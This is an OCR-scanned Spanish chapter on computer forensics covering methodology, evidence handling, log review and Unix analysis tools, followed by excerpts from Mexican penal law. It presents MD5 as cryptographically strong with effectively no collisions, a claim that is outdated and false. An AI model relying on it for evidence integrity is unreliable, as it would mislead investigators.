que es un analisis forense, y a partir de las definiciones presentadas se
comprendera mejor la importancia de llevar a cabo el proceso del analisis.

e Es el proceso de revisar el sistema comprometido y reconstruir paso a
paso lo que sucedid®.

e Es el proceso de capturar, recuperar y analizar informacion de un
sistema comprometido.

En ambas definiciones se menciona que el sistema ha sido comprometido,
¢qué significa esto? que el sistema ha dejado de ser confiable, en otras
palabras, su funcionamiento no es el esperado. Ademas, enfatizan la existencia
de un proceso para realizar el analisis, esto es, seguir una serie de
procedimientos para lograr un analisis exitoso.

Un sistema comprometido no es confiable debido a que los binarios del
sistema, archivos de configuracion y algunas veces el kernel del sistema
operativo pudo haber sido modificado por el intruso. Si se utilizara el sistema
comprometido para analizarlo a si mismo, se obtendria informacion falsa.

Se dice que un andlisis forense es un arte, no una ciencia, esto debido a que se
necesitan habilidades especiales para llevarlo a cabo, pues no existe manera
correcta o incorrecta de realizarlo, todo dependera de qué métodos se utilicen
y que se esté buscando.

¢Qué sucede una vez que el sistema fue comprometido? ;Qué actividad se
Ilevo a cabo en el momento que el intruso estuvo dentro del sistema? ¢Alguien
mas resulto dafiado por esta intrusion? ;Qué hacer ante dafios causados a
terceros por el incidente de seguridad? Estas y muchas preguntas mas intenta
resolver un analisis forense.

* The Honeynet Project, Know your enemy, Ed. Addison-Wesley, 2002, P4g. 104
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El computo forense se ocupa de reunir y preservar la evidencia de computo
con el fin de utilizarla como evidencia en procedimientos legales. La
evidencia es tanto fisica como ldgica, por lo tanto involucra componentes de
hardware y dispositivos que contengan datos.

El objetivo del analisis forense no es examinar el sistema utilizando el mismo
sistema, por las consecuencias ya mencionadas, por ello, usualmente se
requiere tomar el sistema comprometido y realizar una copia del sistema y
sobre la copia realizar el analisis correspondiente. Una vez que se tenga la
copia del sistema, se realiza un proceso de busqueda detallada para reconstruir
a través de todos los medios los acontecimientos que tuvieron lugar desde el
momento cuando el sistema estuvo en su estado integro hasta el momento de
deteccidn de un compromiso.

Esa tarea debe ser llevada acabo con maxima cautela, asegurandose que se
conserva intacta, a la mayor medida posible, la informacion contenida en el
disco de un sistema comprometido, de forma similar que los investigadores
policiales intentan mantener la escena del crimen intacta, hasta que se recogen
todas las pruebas posibles.

La importancia de realizar una copia fiel del disco duro del sistema
comprometido es para realizar la investigacion sobre ésta, de modo que el
sistema original no sufre modificaciones, ni se contaminan los datos; una
razon mas es que al realizar la copia, se tiene todo el sistema de archivos, de
modo que las oportunidades de encontrar informacion que ayude a resolver el
caso son muy amplias; sucederia lo contrario si sélo se tomaran ciertas partes
del sistema, pues se reduce el campo de busqueda y con ello se incrementa la
posibilidad de obtener resultados erroneos y no satisfactorios.

Los objetivos de un investigador forense, se listan a continuacion:
Encontrar signos de que el servidor esta comprometido
Determinar el tamafo del dafio

Responder: qué, cuando, donde y como

Reconstruir cronologicamente los eventos pasados

Tomar y analizar la evidencia que le sea posible

El trabajo de un investigador forense es necesario para ofrecer un punto de
partida fundamental para que los investigadores policiales, ofreciéndoles
pistas solidas, ademas de pruebas para su uso posterior.
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Un investigador forense debe tener un amplio conocimiento de los sistemas de
cdmputo, para aquellos que so6lo encienden su computadora y utilizan un
procesador de textos o un navegador Web, no se les considera personas con
amplio conocimiento. El investigador debe conocer el funcionamiento de las
computadoras, sistemas operativos, bases de datos y redes de computo, y debe
tener un conocimiento béasico de varios temas, tal como organizacion de
computadoras, computo distribuido, arquitectura y administracion de redes y
protocolos de comunicacion. Ademas de este extenso respaldo, el investigador
debe tener la imaginacion y la habilidad deductiva para solucionar el caso.

3.4 Proceso del analisis forense

3.4.1 Preparacion para el analisis forense

Resulta importante en este punto preguntarse

e Qué cantidad de informacion es suficiente para permitir un diagndstico
de seguridad?

e ;COmMo seleccionar la informacién correcta para ser colectada y de
donde se debe tomar ésta? y finalmente

e ;Como se debe manejar la informacidn colectada para enfrentar un
proceso legal?

En esta etapa es importante el establecer el uso de una metodologia formal, la
cual permitird al investigador forense enfocarse e investigar un crimen
cibernético sin perder objetividad. Un aspecto igual de importante, es el hecho
de establecer un protocolo por el cual la evidencia electronica (fisica y légica)
es reunida y decomisada, esto con el fin de reducir la posibilidad de que la
evidencia sea corrompida o contaminada.

Sin el uso de una metodologia es muy complicado lograr una investigacion
exitosa, y por lo tanto, se pierde el control del fraude o abuso cibernético, lo
cual se traduce en un costo economico para la sociedad, pues es la que paga
cantidades enormes de dinero afio con afio.
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La realizacion de un analisis, sea forense o no, es una ciencia, por lo tanto, es
necesario que el proceso de la investigacion se lleve a cabo mediante una
metodologia cientifica, por ejemplo, un proceso valido debe estar compuesto
de pasos bien establecidos que pueden ser repetidos en otras investigaciones.
Los puntos importantes son los siguientes:

1. Identificar e investigar el problema.
2. Formular una hipotesis.
3. Conceptualmente y empiricamente verificar la hipotesis.

4. Evaluar la hipotesis con relacion a los resultados de la verificacion -
idear y plantear nuevas pruebas si los resultados no son satisfactorios.

5. Si la hipotesis es aceptable, evaluar su impacto.

En los puntos mencionados es interesante apreciar que se ha aplicado el
método cientifico a todos los niveles del computo forense. Por ejemplo, se
nota que el paso 1 del método cientifico toma lugar cuando un crimen ha sido
cometido y atrae la atencion de un investigador; en el paso 2 corresponde al
investigador considerar "quién, qué, donde, cuando, para qué, como" acerca
del crimen; en los pasos 3y 4 se lleva a cabo la accion de reunir y evaluar la
evidencia para probar la hipotesis establecida en el paso 2; finalmente en el
paso 5 se llega a una conclusion acerca de la investigacion completada.

Es importante hacer mencion de dos temas importantes: primero, existe una
caracteristica de planeacion que debe ser tomada en cuenta antes de que
cualquier investigador tome lugar en cualquier escena del crimen, y segundo,
los roles y responsabilidades de un investigador que interactie con la escena
del crimen deben ser descritos. Es esencial entender que la actividad forense
inicia en la escena del crimen. La dedicacion que se tome al asegurar y
colectar la evidencia juega el rol mas importante en todo el proceso de la
investigacion.

Es una prioridad formular un plan por el equipo de investigadores antes de
llegar a la escena del crimen, en particular, el FBI lista las siguientes
sugerencias:

1. Tener todo el material necesario para realizar una investigacion.
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2. Preparar un documento formateado para realizar la documentacion de la
busqueda.

3. Asegurar que todos los especialistas estén atentos de todo tipo de
evidencia que comunmente se pueda encontrar, asi como de tomar todos
esos materiales.

4. Evaluar las implicaciones legales de la busqueda de la escena del
crimen.

5. Discutir la basqueda con el personal involucrado antes de arribar a la
escena del crimen, si es posible.

6. Identificar, cuando sea posible, a la persona en cargo como prioridad
para arribar a la escena del crimen.

7. Realizar asignaciones antes de arribar a la escena del crimen, si esto es
practico.

8. Considerar la seguridad y confort del personal de busqueda. Estar
preparado para encontrarse con dafio potencial o inclemencias
ambientales en la escena del crimen.

9. Evaluar las responsabilidades requeridas del personal para realizar un
proceso exitoso en la escena del crimen.

Cada una de estas recomendaciones tiene implicaciones, las cuales permiten o
detienen una investigacion. A continuacion se hard una revision de las
primeras cuatro recomendaciones.

1. Tener el material necesario. Tener el material apropiado es crucial,
tanto como el propio hardware y software de interes en la investigacion.
En particular, cubiertas antiestaticas y plasticos, paquetes de hule
espuma y cajas de carton resistentes para transportar de manera segura
la evidencia desde la escena del crimen hasta el laboratorio de trabajo
forense. Adicionalmente, contenedores apropiados para diskettes, CDs,
cintas y otros dispositivos de almacenamiento, pues resulta esencial
protegerlos de dafios fisicos. Otros materiales necesarios para
interactuar con la escena del crimen computacional pueden incluir una
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camara (revelado instantdneo, 35mm, video) computadoras portétiles,
cables de hardware y red, y software de investigacion (diskettes y CDs
de arranque).

2. Preparar un documento formateado para realizar la documentacion de
la busqueda. Un medio ideal para realizar la documentacion de la
escena del crimen son los medios electrénicos, aunque no se descarta la
utilizacion de documentos en papel. De cualquier modo, el tener lo
necesario significa estar listo para documentar, lo cual se traduce en
ahorro de tiempo y objetividad en la escena del crimen. Para la etapa de
la investigacion en que se realiza la busqueda y decomiso de la
evidencia, existen dos tipos de registro, en uno de ellos se lleva una
bitacora de la busqueda y decomiso, y un segundo registro es utilizado
para informar de la evidencia que es transportada de la escena del
crimen al laboratorio de trabajo.

3. Asegurar que todos los especialistas estén atentos de todo tipo de
evidencia. Si los investigadores no entienden perfectamente qué caso es
el que estan tomando en la escena del crimen, entonces habra un amplio
margen de posibilidades para que se cometan errores. Lo mismo sucede
si los investigadores estan equipados de manera inadecuada para
realizar la coleccion y manejo de la evidencia en la escena del crimen,
entonces la evidencia y la cadena de eventos puede ser dafada. Para
asegurar la integridad del trabajo forense, los investigadores deben estar
propiamente capacitados acerca de la escena del crimen dada, lo cual
traera una ventaja sobre las personas que pudiesen existir que les
interese no se esclarezca el problema.

4. Evaluar las implicaciones legales de la busqueda en la escena del
crimen. Ser concientes de los derechos de los sospechosos. En teoria,
los investigadores no deben tener cualquier dificultad para colectar la
evidencia que pertenece a la empresa u organizacion. Se debe consultar
siempre al departamento legal de la empresa los limites de la
investigacion. En particular, los investigadores deben ser cuidadosos de
las implicaciones legales de acceder a los medios de almacenamiento
electrénico en algun servidor.

Al tomar una metodologia para llevar a cabo un analisis forense, es natural
considerar realizar o no, todos los pasos en la investigacion, una respuesta a
esta consideracion es que se deben aplicar todos los pasos. Si el investigador
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no aplica todos los pasos en todas sus investigaciones, entonces una perdida
de igualdad ocurrira entre sus datos de los incidentes.

3.4.2 Coleccidon de la evidencia

La parte fisica del computo forense aparece involucrada en la actividad de
buscar la evidencia y decomisarla, en dicha actividad el investigador se
presenta en la escena del crimen, busca y toma custodia (decomisa) los
componentes de computo que estén involucrados en el crimen. En contraste, la
parte logica del computo forense involucra la extraccion de datos crudos del
cualquier elemento que proporcione informacion, de tal modo que el
investigador puede buscar a través de archivos o bases de datos disponibles.

Con el fin de que la investigacidn sea exitosa, para obtener la evidencia se
debe establecer un protocolo para protegerse de amenazas de virus de
coémputo, con el fin de evitar que éstos desvien la investigacion. En paginas
anteriores se ha mencionado la importancia que tiene el proteger la evidencia
y trabajar con ella de un modo adecuado en el laboratorio forense. Si sucede
que en campo o en el laboratorio un investigador utiliza dispositivos
contaminados para realizar las tareas de investigacion, puede poner toda la
evidencia electrénica en riesgo, por ejemplo, cambios inexplicables a la
evidencia puede ser el resultado de contaminacion por virus, una situacion
mas que un virus puede causar es la volatilidad de la evidencia. Por lo
anterior, se propone un protocolo a seguir:

1. Siempre utilizar dispositivos limpios (libres de virus) cuando se
interactle con los elementos de computo en la escena del crimen.

2. Después de interactuar con los elementos de computo de la escena del
crimen se deben limpiar todos los dispositivos utilizados, con excepcion
de respaldos realizados.

3. Nunca tratar de limpiar los dispositivos de computo de la escena del
crimen, pues se estaria destruyendo evidencia importante.

4. Después de restablecer en el laboratorio forense un respaldo bit a bit de
un elemento de la evidencia (si la restauracion es necesaria):

A. ldentificar cualquier virus.
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B. Si es necesario, limpiar el laboratorio de computo forense antes
de iniciar una actividad forense adicional, se debe recordar que el
limpiar una computadora puede destruir evidencia importante.

Es un requerimiento que todo el equipo utilizado para interactuar con la
escena del crimen de computo debe estar limpio, por lo tanto, después de
interactuar con el equipo comprometido debe ser limpiado todo el equipo
utilizado, excepto los utilizados para realizar los respaldos. La razon por la
cual debe ser limpiado es porque puede mostrar evidencia de virus en el
equipo comprometido.

Los respaldos deben ser realizados bit a bit, lo cual significa que todos los
archivos ocultos, swap, borrados y normales estan incluidos en los respaldos.
Para realizar los respaldos se pueden obtener de dos maneras, primero, la
computadora puede ser encendida en un medio controlado, se puede iniciar
desde un diskette o un CD y entonces realizar el respaldo; el otro modo
consiste en remover el disco duro y realizar el respaldo en una maquina
distinta. Ambos métodos tienen su inconveniente, en el primero se correria el
riesgo de modificar la evidencia, en el segundo caso, en ocasiones se debe ser
muy cuidadoso con el hardware, al limite de no poder tocar nada de la
evidencia.

Los respaldos deben realizarse en modo crudo, en un formato no comprimido
y se deben crear duplicados de ese respaldo hecho, esto ultimo con el
proposito de tener una copia del respaldo. En el caso que no sea posible
realizar un respaldo completo, se deben realizar copias de los archivos
importantes y deben llevarse al laboratorio para realizar su revision, ya sea por
inspeccion o aplicando alguna herramienta de software.

3.4.3 Manejo de la evidencia

La eficacia de la evidencia como documentacion depende en queé tan bien la
evidencia fue preservada. En la practica del computo forense existen
momentos cuando se vuelve dificil el asegurar el estado de la evidencia,
algunas veces la alteracion de algunos pocos bits de datos pueden tener
drasticas consecuencias en una investigacion.
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Para autenticar matematicamente los datos se puede utilizar el algoritmo
md5sum (Message Digest) para generar firmas digitales de los archivos, esto
con el fin de poder probar que no se ha alterado la evidencia en todo momento
en que la evidencia ha estado en manos de los investigadores.

El algoritmo md5sum esta disefiado con base en dos objetivos, el primer
objetivo es el tener un algoritmo criptograficamente fuerte, lo cual significa
que la posibilidad de que el algoritmo computacional arroje el mismo
resultado para dos distintas entradas es sumamente pequefia, por lo cual se
considera inexistente; el segundo objetivo es que al tener un pequefio cambio
en la entrada del algoritmo, éste produzca una cadena larga en la salida
totalmente distinta.

Las firmas md5sum se deben generar a partir de las evidencias originales
(discos duros y dispositivos multimedia) y deben ser registradas y guardadas
en el laboratorio. Es importante que los md5sum se creen una vez que los
respaldos hallan sido generados.

En algdn punto del proceso de la investigacion se necesita autenticar los datos,
tal autenticacion es necesaria para comprobar que no se ha generado ninguna
alteracion de la evidencia electronica y que puede modificar el curso de la
investigacion.

Cuando el trabajo forense haya finalizado, los valores md5sum deben ser los
mismos que los generados al inicio de la investigacion, lo cual muestra que no
se realizd ninguna modificacion a la informacion.

En el laboratorio forense, el investigador debe revisar todas las computadoras
y dispositivos para averiguar el estado de éstos, con esta actividad se da inicio
a una nueva bitacora, la cual servira para detallar el estado de cada elemento
de la evidencia, dicha bitacora sera de uso exclusivo del laboratorio. Por cada
elemento de la evidencia debe ser anotado:

e Fechay hora de arribo al laboratorio.

e Breve descripcion de la evidencia, ésta debe coincidir con la
descripcion realizada en la etapa de blasqueda y decomiso.

e Las condiciones en que la evidencia arribd, se espera que sea la misma
en la que se envio.
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e Nombre del investigador que realiza la revision, puede ser la misma
persona que decomiso la evidencia.

Cualquier persona que desee interactuar con la evidencia, debe regresarla
despues de terminar de utilizarla, ademas debe registrar los siguientes datos:

Fecha y hora en que tomo la evidencia.

Identificacion de la evidencia.

Nombre del investigador que revisa la evidencia.

Fecha y hora en que la evidencia es regresada.
3.4.4 Analisis de la evidencia

Ahora que el investigador forense ha llegado a esta etapa del proceso de la
investigacion, y que ya se ha recopilado todo lo que esta o parece estar
involucrado en el incidente de computo, ahora es cuando se inicia la etapa del
anélisis, para ello el encargado de llevar a cabo esta actividad debe tener un
amplio conocimiento del sistema, es decir, tanto de software como de
hardware.

De modo similar a como se realiza una planeacion para buscar y decomisar la
evidencia fisica y logica, el descubrimiento de informacion también necesita
de un plan para lograr resultados exitosos. El uso de herramientas de busqueda
automatizadas es importante, las cuales pueden incluir utilerias de procesos en
batch, scripts, etc.

Es importante tener un plan cuidadosamente disefiado para realizar el anélisis
antes de iniciarlo, dicho plan asegurard que el investigador posee un claro
entendimiento de qué estd buscando y minimizara el riesgo de que la
informacidn a buscar sea destruida o contaminada.

No existe un procedimiento especifico para ser utilizado en la bdsqueda de
informacién, los pasos dependerdn completamente del caso que se esté
investigando.
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Una situacion puede crear la necesidad de revisar archivos clave utilizados por
el sistema Unix, tal como lo son archivos de configuracion, archivos de
bitacoras, de calendarizacion de tareas, etc.
En la mayoria de las ocasiones, los pasos tomados para buscar informacion se
dejan plenamente dependiendo de las circunstancias y a la experiencia,
intuicion e imaginacion del investigador.
El dnico paso que es definitivamente requerido durante la bdsqueda de
informacién es que el investigador lleve una bitacora detallada de todo lo que
esta realizando, de modo que dicha bitdcora debe ser iniciada en cuanto se
inicie el proceso de analisis de la evidencia, dichas anotaciones deben incluir:

e Fechay hora de la investigacion.

e Nombre del investigador.

e Descripcidn de lo que el investigador esta intentando descubrir.

e Descripcidn de cémo el investigador esta procediendo.

e Descripcion de resultados.
Un punto importante a considerar es el poseer en el laboratorio forense
hardware y software necesario para realizar la investigacion, con esto se
asegura que no se perdera o modificara la evidencia.
Al realizar el analisis de la informacidn, ésta debe ser:

e Preprocesada

e Sincronizada

e Clasificaday

e Sujeta a varios tipos de revision para identificar patrones de actividad
no permitida.
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La clasificacion de los datos es conveniente de modo que se integren los datos
que indiquen intrusion, los que no indican intrusion y aquellos de los que no
se esté totalmente seguro.

Una buena definicion de analisis la presenta Rebecca Gurley Bace en su libro
Intrusion Detection: Analisis, en el contexto de la deteccion de intrusos, es la
organizacion y caracterizacion de datos acerca de un usuario y su actividad en
el sistema, con el fin de identificar actividad de interés.

Algunos objetivos al descubrir informacion pueden incluir:
e Verificar si un usuario ha excedido sus privilegios en el sistema.

e Determinar si una transaccion de informacion tomé lugar en el sistema
en un periodo de tiempo particular y quién o qué realizd esa
transaccion.

e Descubrir que actividades de un grupo de usuarios tuvieron lugar en el
sistema de computo en un periodo de tiempo establecido.

Cuando se realiza el analisis, el investigador debe poseer la habilidad de ligar
una actividad con la persona o la entidad responsable de ésta. Un segundo
requerimiento es el tener la habilidad de reconocer rapidamente una cadena de
eventos asociados con el ataque y detener el ataque, si aun ésto es posible. En
pocas palabras, el investigador debe ser capaz de extraer informacion sin
causar cambios al estado original de la evidencia, lo cual involucra que el
estado original de la evidencia debe ser preservada a través del proceso del
analisis forense.

Los investigadores deben estar siempre alertas de encontrar todo tipo de
informacién, de modo que le permita intuir o inferir el lugar en el cual puede
encontrar informacion valiosa.

Todas las etapas del analisis forense son igual de importantes, pues el cometer
errores en cualquiera de ellas puede traer efectos desastrosos en el resultado de
la investigacion, sin embargo, es en esta etapa de analisis de datos cuando la
habilidad e intuicién del investigador debe presentarse con el fin de realizar
las actividades necesarias que conduzcan a la obtencion de resultados reales
que ayuden a esclarecer el crimen de computo.
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Cuando se revise la evidencia de computo, el objetivo no solo es esclarecer el
crimen, sino también aprender tanto como sea posible, pues el conocimiento
adquirido a través del analisis forense determina la facilidad o complejidad de
realizar analisis posteriores, ademas de que las actividades y comportamientos
de los intrusos pueden ayudar para que el investigador forense genere sus
propias herramientas de investigacion.

En esta etapa de andlisis, el investigador debe contar con un amplio
conocimiento de la informacidn generada en las etapas anteriores, pues ello
ayudard a que sea posible relacionarla toda, con el fin de inducir como se
genero el incidente.

La vision que debe tener el investigador tiene que ser muy amplia, pues mucha
de la informacion que ayudara a resolver el caso se obtendra de bitacoras del
sistema anteriores al dia del incidente de cédmputo, pues es cuando el intruso
antes de intentar penetrar el sistema de computo, normalmente inicio con la
obtencién de informacion, debido a que antes de realizar el ataque, necesitd
determinar que accion tomar, de este modo el intruso obtiene una base desde
donde partir para lanzar el atague y que éste sea exitoso.

Los intrusos actualizan e instalan sus propias utilerias de encriptacion para
asegurar gque sus acciones no puedan ser monitoreadas. En la mayoria de los
casos, versiones alteradas de ssh son instaladas, no solo para encriptar su
actividad, sino también para colocar una puerta trasera en el sistema. Ademas
de modificar ciertas aplicaciones para que les sean utiles en su futuro regreso
al sistema; también el desarrollo de rootkits se ha vuelto més sofisticado, tanto
que no sélo modifican los binarios del sistema, también pueden realizar
modificaciones a nivel kernel, las cuales son mas dificil de detectar.

Aln con la ejecucion de rootkits, existen medidas extras que los intrusos
aplican para evitar ser detectados, por ejemplo, los atacantes avanzados (con
conocimientos) probablemente trataran de borrar toda evidencia que los
involucre, sin embargo, y por fortuna de los investigadores forense, la mayoria
de los atacantes son amateurs, lo cual se traduce en que son facilmente
detectables, pues dejan rastros por doquier.

Un elemento importante al momento de realizar el anélisis es la revision de
archivos de bitacoras. Un sistema de bitacoras es un archivo que refleja varios
eventos del sistema y de servicios activos. El sistema operativo Unix provee
un gran sistema de bitacoras, el cual abarca los servicios comunes, el cual
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soporta la generacién y actualizacion de eventos via el demonio syslogd. Sin
embargo, una gran cantidad de léxico en formato estandar y definiciones
pueden ser usados en la generacion e interpretacion de las entradas a syslog (o
messages).

El software de generacidn de bitacoras esta comdnmente ejecutandose como
una aplicacion y es por lo tanto facil de dafar o, de otro modo, modificar
cuando se revisa el sistema.

Las bitacoras son guardadas generalmente en directorios no protegidos del
sistema, lo cual hace que sea facil para el intruso localizar y destruir o alterar
los archivos.

¢ Queé tipo de cosas se buscan en bitacoras?

e CoOmo logroé introducirse. Comunmente esta informacion es guardada en
el sistema de bitacoras.

e Desde donde se produjo el ataque. Los sistemas de bitdcoras contienen
de ddénde se produce el ataque.

e Actividad del sistema. Los sistemas de bitacoras contienen actividad tal
como reboots, el cual es critico para que algunos ataques funcionen; la
interfase de red entra en modo promiscuo cuando un sniffer es activado,
0 cuando ciertos servicios han sido activados o desactivados.

Tan importante es lo que esta grabado en la bitacora como lo que no esta.

Una de las primeras acciones que un intruso lleva a cabo es el limpiar las
bitacoras, esto son el fin de evitar ser detectado.

Para los propdsitos de deteccion de intrusos, los sistemas de bitcoras pueden
proporcionar informacion que puede ser combinada con otras fuentes para
ayudar a determinar eventos ocurridos en el sistema en un tiempo establecido,
por lo tanto, queda claro que utilizar las bitacoras como punto de vista
adicional de la actividad del sistema incrementa la posibilidad de descubrir
intrusos.

Al realizar la revision de bitacoras es necesario identificar conexiones de
usuario, en un primer caso, aquellas que son validas o parecen validas, y en un
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segundo caso, aquellas que salen de lo normal, adn perteneciendo a usuarios
validos del sistema. Esto es necesario debido a que puede ser que el intruso
haya hurtado la contrasefia del usuario valido.

Al realizar el analisis se puede realizar un poco de estadistica ¢cOmo?
obteniendo el numero de conexiones al dia por usuarios y la cantidad de
tiempo que estuvieron en sesion, con ello se puede establecer un
comportamiento, lo cual facilitara la identificacion de actividad anormal o
fuera del patron de comportamiento.

Al finalizar la etapa del analisis de datos, el investigador debe determinar los
siguientes puntos.

e Responsabilidad. Se debe determinar quien fue el responsable del
ataque.

e Gravedad de los dafios. Determinar que acciones llevaron a cabo y que
dafio causaron.

e Recuperacion del dafio. Determinar que pasos son requeridos para
reparar el dafio y reestablecer el sistema para una operacion segura.

Los tres puntos anteriores establecen los objetivos principales de la etapa del
analisis, sin embargo en ocasiones resulta complicado realizarlos, pues de
modo como los sistemas han llegado a ser més rapidos, mas complejos y més
numerosos, el tamafio y complejidad del analisis incrementa también, y en
consecuencia, la tarea de revisar los datos crece de la misma manera. Es aqui
en donde surge la necesidad de automatizar el proceso de revision para hacerla
maés efectiva y rapida.

3.5 Herramientas para realizar un analisis forense

Una vez que el intruso ha tomado el control de un sistema, es casi imposible
confiar nuevamente en éste.

Las herramientas que se utilicen para analizar un sistema, deben ser
herramientas que no hayan sido modificadas y en consecuencia, que se pueda
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confiar en ellas. Lo ideal es mantener las herramientas de analisis en medios
de solo lectura, de modo que se tenga la certeza que no pueden ser
modificadas, contrario a lo que sucede con las herramientas de un sistema
comprometido.

A continuacién se mencionaran algunas herramientas que pueden ser
utilizadas en el proceso de la investigacion forense.

e vmstat es un programa que permite obtener una estadistica acerca de la
memoria de la computadora, CPU, procesos, entre otras. La
informacién acerca de los procesos y la memoria son reportes
instantaneos. vmstat permite ver la tendencia de la utilizacion de los
recursos mencionados en la maquina. Comunmente vmstat proporciona
una ayuda para conocer donde buscar mas a fondo cuando un sistema
no esta funcionando como se espera que lo haga.

e mpstat es un programa disponible en Solaris y Linux que permite ver
las estadisticas del uso del procesador, ademas, mpstat proporciona una
opcion que permite desplegar una estadistica para un CPU especifico
para las maquinas con méas de un procesador. vmstat no permite esta
accion.

e jostat despliega estadisticas que son mas detalladas que las
proporcionadas por vmstat acerca de dispositivos y particiones.

e sar, sa, lastcomm y last permiten revisar datos historicos tanto como
eventos recientes en el sistema. sar es una herramienta de analisis del
desempenfio del sistema, esta disponible en sistemas Solaris y Linux. Los
datos de desempefio que se pueden revisar son similares a los mostrados
por vmstat, mpstat e iostat. sar colecta, reporta o salva informacion
acerca de la actividad del sistema. lastcomm es una herramienta que
despliega comandos que han sido ejecutados en el sistema, iniciando
con aquellos recientemente ejecutados, para realizarlo utiliza datos
contenidos en el sistema de contabilidad de procesos.

e ps es usado para mostrar los procesos en ejecucion en el sistema e
informacién acerca de estos. Una definicion simple de lo que es un
proceso: es una unidad de ejecucion que tiene su propio espacio en
memoria. Comunmente un programa que esta corriendo tiene uno 0 mas
procesos asociados con éste.
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e top despliega informacion similar a la del comando ps, pero top ordena
los comandos por utilizacion de CPU, ademéas de que actualiza el
despliegue después de cuatro o cinco segundos, a menos que el usuario
indique un tiempo distinto.

o |sof (list open files), muestra todos los archivos que el sistema operativo
actualmente tiene abiertos. Tanto el sistema operativo Unix, como
Linux consideran todo como un archivo, por lo tanto Isof muestra un
conjunto de informacion significativa acerca del estado del sistema
operativo.

e file es un comando que determina que tipo de archivo se trata cierto
archivo proporcionado.

e strings muestra cadenas ASCII imprimibles de un archivo. Es util para
encontrar cadenas imprimibles contenidas en un archivo binario y de
esta manera determinar el propdsito de éste.

e find es un comando que busca recursivamente objetos en el sistema de
archivos desde un punto especifico. Esto puede ser util para buscar
objetos (comUnmente archivos o directorios) que corresponden a un
usuario especifico, que fueron modificados en determinado lapso de
tiempo, que inician con el caracter punto y que por lo tanto
corresponden a archivos o directorios ocultos, etc.

e strace es una utileria que ejecuta un proceso de inicio a fin, este
intercepta y graba todas las llamadas al sistema que el proceso realiza,
ademas de las sefiales que el proceso recibe de otro proceso. strace es
util para determinar cual es el propdsito de un programa.

e grep (global regular expression print) busca un patron especificado,
comunmente un archivo, grep utiliza expresiones regulares, estas son
comparadas contra cadenas en un espacio de patrones. Las lineas que
corresponden con el patron son impresas en salida estandar.

e less es un paginador, o un programa que despliega paginas de texto, una
pantalla a un tiempo, util para ver el contenido de un archivo.

The Coroner’s ToolKit
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The Coroner's Toolkit (TCT) es un conjunto de herramientas creadas por Dan
Farmer y Wietse Venema para realizar un andlisis exitoso de sistemas
Unix/Linux después de que el sistema ha sido vulnerado. Esta herramienta fue
presentada por primera vez en una clase de Analisis Forense Computacional
en agosto de 1999. Los programas que componen el toolkit estan escritas en
lenguaje C vy Perl.

La ejecucion de TCT toma un tiempo considerable debido a la coleccion de
datos que realiza, sin embargo, bien vale la espera, pues con tal cantidad de
informacién, un investigador puede pasar dias o incluso meses analizando
para lograr detectar el origen de la intrusion. Es importante que la instalacion
de la aplicacion debe ser realizada en una particion donde exista un espacio
considerable para el almacenamiento de toda la informacion que generard
TCT.

Para ejecutar la herramienta es necesario realizar la compilacion de ésta, una
vez que se compila, las herramientas disponibles son las siguientes:

e grave-robber es el principal programa que se encarga de obtener
informacidn sobre inodos, para luego ser procesada por otros programas
del toolkit.

o file ayuda a ver el contenido de los archivos recuperados.

e icat realiza una copia de un archivo por su numero de inodo.
¢ ils muestra informacion de inodos en el sistema de archivos.
e lastcomm emula al comando lastcomm.

e mactime muestra un reporte de los tiempos MAC en el sistema de
archivos.

e pcat copia el espacio en memoria de un proceso en ejecucion.
e unrmy lazarus herramientas para la recuperacion de archivos borrados

(logs, RAM, swap, etc.) Estas aplicaciones identifican y recuperan la
informacién en los sectores no asignados del disco duro.
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3.6 Legislacion y analisis forense

Una vez que se ha realizado el andlisis forense, se han detectado
responsabilidades y se ha establecido la gravedad del dafio causado por el
incidente de seguridad, es importante decidir si se realizard alguna accion
legal en contra de los responsables o simplemente se avisara a la organizacion
correspondiente de los sucedido con el fin de evitar nuevos incidentes.

Si se decide tomar accion legal, este apartado tiene la intencion de mostrar la
legislacion en México referente a delitos cibernéticos.

Dado que la cultura de la seguridad informatica en México es aun muy
deficiente, muchos de los incidentes de seguridad suceden sin que se tome
accion legal o bien, sin que se le de aviso a las partes involucradas, una buena
pregunta es ¢por qué sucede esto? y la respuesta comun es porque se dice que
en México no existe legislacion relacionada con los delitos cibernéticos, lo
cual es totalmente falso.

Para ejercer accion legal en contra de quien resulte responsable, lo primero es
denunciar el incidente ante el Ministerio Publico mas cercano, en tal lugar se
pedira se relaten los hechos ocurridos, dicho relato quedara por escrito, por lo
tanto es recomendable ser lo mas preciso posible. La declaracion quedara
firmada si se esta de acuerdo con su contenido.

A continuacion se menciona lo mas importante en cuestion legal referente al
Cadigo Penal Federal, para ello se revisé la altima version publicada el 26 de
mayo de 2004.

e Articulo 1.
Este cddigo se aplicara en toda la Republica para los delitos de orden
federal.

e Articulo 2.
Se aplicara asi mismo:

o Por los delitos que se inicien, preparen o cometan en el
extranjero, cuando produzcan o se pretenda que tenga efectos en
el territorio de la Republica, y
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0 Por los delitos cometidos en los consulados mexicanos o0 en
contra de su personal, cuando no hubieren sido juzgados en el
pais en que se cometieron.

Acrticulo 40.

Los instrumentos del delito, asi como las cosas que sean objeto o
producto de él, se decomisaran si son de uso prohibido. Si son de uso
licito, se decomisaran cuando el delito sea intencional. Si pertenecen a
un tercero, solo se decomisaran cuando el tercero que los tenga en su
poder o los haya adquirido bajo cualquier titulo, esté en alguno de los
supuestos a los que se refiere el articulo 400 de este Cddigo,
independientemente de la naturaleza juridica de dicho tercer propietario
0 poseedor y de la relacion que aquel tenga con el delincuente, en su
caso. Las autoridades competentes procederan al inmediato
aseguramiento de los bienes que podrian ser materia del decomiso,
durante la averiguacion o en el proceso. Se actuara en los términos
previstos por este parrafo cualquiera que sea la naturaleza de los
instrumentos, objetos o productos del delito.

Si los instrumentos o cosas decomisadas son sustancias nocivas 0
peligrosas, se destruiran a juicio de la autoridad que esté conociendo, en
los términos previstos por el Codigo de Procedimientos Penales, pero
aquélla, cuando lo estime conveniente, podrd determinar su
conservacion para fines de docencia o investigacion. Respecto de los
instrumentos del delito, o cosas que sean objeto o producto de él, la
autoridad competente determinara su destino, segun su utilidad, para
beneficio de la procuracion e imparticién de Justicia, o su inutilizacion
si fuere el caso, de conformidad con las disposiciones aplicables.

Articulo 210.

Se impondra de treinta a doscientas jornadas de trabajo a favor de la
comunidad, al que sin justa causa, con perjuicio de alguien y sin
consentimiento del que pueda resultar perjudicado, revele algun secreto
0 comunicacién reservada que conoce 0 ha recibido con motivo de su
empleo, cargo o puesto.

Articulo 211.

